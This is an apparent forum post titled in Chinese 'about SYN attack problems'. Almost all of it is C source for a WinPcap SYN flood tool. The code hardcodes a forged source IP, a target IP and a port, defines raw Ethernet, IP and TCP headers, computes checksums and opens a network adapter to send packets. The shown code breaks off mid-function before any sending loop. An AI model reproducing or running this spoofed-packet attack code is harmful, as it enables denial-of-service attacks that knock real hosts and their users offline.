关于SYN攻击问题
#include <iostream.h>
#include <stdlib.h>
#include <stdio.h>
#include <basetsd.h>
#include <pcap.h>
#include <bittypes.h>
#include <pcap-bpf.h>
#include <ip6_misc.h>
#include <pcap-stdinc.h>
#include <win32-extensions.h>
#pragma comment(lib,"wpcap")
#pragma comment(lib,"ws2_32")
#define MYIP "172.19.8.110" //伪造的源主机IP地址
#define TAGIP "172.19.8.100" //被攻击主机IP地址
#define TAGPORT "1000" //攻击端口
#define SEQ 0x12121212
/*定义结构体*/
//以太帧头结构体
typedef struct {
UCHAR DestMac[6]; //目的mac地址
UCHAR SrcMac[6]; //源mac地址
UCHAR Etype[2]; //协议类型
}ETH_HEADER;
//定义IP首部
typedef struct {
UCHAR h_verlen; //4位首部长度,4位IP版本号
UCHAR tos; //8位服务类型TOS
USHORT total_len; //16位总长度(字节)
USHORT ident; //16位标识
USHORT frag_and_flags; //3位标志位
UCHAR ttl; //8位生存时间 TTL
UCHAR proto; //8位协议 (TCP, UDP 或其他)
USHORT checksum; //16位IP首部校验和
UINT sourceIP; //32位源IP地址
UINT destIP; //32位目的IP地址
}IP_HEADER;
//定义TCP伪首部 注意:TCP与UDP有相同的伪头部结构
typedef struct _psdhdr{
ULONG saddr; //源地址
ULONG daddr; //目的地址
CHAR mbz;
CHAR ptcl; //协议类型
USHORT tcpl; //TCP长度
}PSD_HEADER;
//定义TCP首部
typedef struct _tcphdr{
USHORT th_sport; //16位源端口
USHORT th_dport; //16位目的端口
UINT th_seq; //32位序列号
UINT th_ack; //32位确认号
UCHAR th_lenres; //4位首部长度/6位保留字
UCHAR th_flag; //6位标志位
USHORT th_win; //16位窗口大小
USHORT th_sum; //16位校验和
USHORT th_urp; //16位紧急数据偏移量
}TCP_HEADER;
/*全局变量声明*/
pcap_t* fp;
//bool syn=true;
ETH_HEADER eth_header;
IP_HEADER ip_header;
TCP_HEADER tcp_header;
PSD_HEADER psd_header;
UINT tempIp,tempHost;
UCHAR SendBuf[128]={0},tmpBuf[128]={0};
int seq=0;
int ipsz,tcpsz,psdsz,ethsz,itsz,sendsz,ptsz;
USHORT datasize=0;
/* 函数声明 */
//void initAdapt(); //初始化适配器
//void sendSyn(); //发送TCP数据包
void initEth(); //初始化以太帧头
void initIp(); //初始化IP头
void initTcp(); //初始化TCP头
void initPsd(); //初始化TCP伪头
void initHead();
USHORT checksum(USHORT *buffer, int size); //计算校验和
void main(int argc,char **argv) {
pcap_t *outdesc;
char error[PCAP_ERRBUF_SIZE]={0};
//FILE *capfile;
int caplen,sync;
u_int res;
pcap_send_queue *squeue;
struct pcap_pkthdr *pktheader;
u_char *pktdata;
pcap_if_t *alldevs,*d;
int i,count=0;
/*检查命令行是否有效*/
if(argc<=1 || argc>=4) {
printf("usage: %s number_send s",argv[0]);
return;
}
initHead();
/*设置时间戳
if(argc==3 && argv[2][0]=='s')
sync=TRUE;
else
sync=FALSE;*/
/*取得系统中所有可用pcap_open_live()打开的网络设备的列表*/
if(pcap_findalldevs(&alldevs,error)==-1) {
fprintf(stderr,"Error in pcap_findalldevs:%s\n",error);
return;
}
for(d=alldevs,i=0;i<0;d=d->next,i++);
/*打开发送数据包的适配器*/
if((outdesc=pcap_open_live(d->name,65535,1,1000,error))==NULL) {
fprintf(stderr,"\nError opening adapter:%s\n",error);
return;
}
/*将构造好的数据报放到pktdata数组中,并构造struct pcap_pkthdr结构体*/
pktheader=(struct pcap_pkthdr*)malloc(sizeof(struct pcap_pkthdr));
pktdata=(u_char*)malloc(52);
pktheader->caplen=52;
pktheader->len=52;
pktheader->ts.tv_sec=100;
pktheader->ts.tv_usec=1000;
memcpy(tmpBuf,&psd_header,psdsz);
memcpy(tmpBuf+psdsz,&tcp_header,tcpsz);
tcp_header.th_sum=checksum((USHORT *)tmpBuf,ptsz);
memset(tmpBuf,0,ptsz);
memcpy(tmpBuf,&ip_header,ipsz);
ip_header.checksum=checksum((USHORT *)tmpBuf,ipsz);
memcpy(tmpBuf,&ip_header,ipsz);
memcpy(tmpBuf+ipsz,&tcp_header,tcpsz);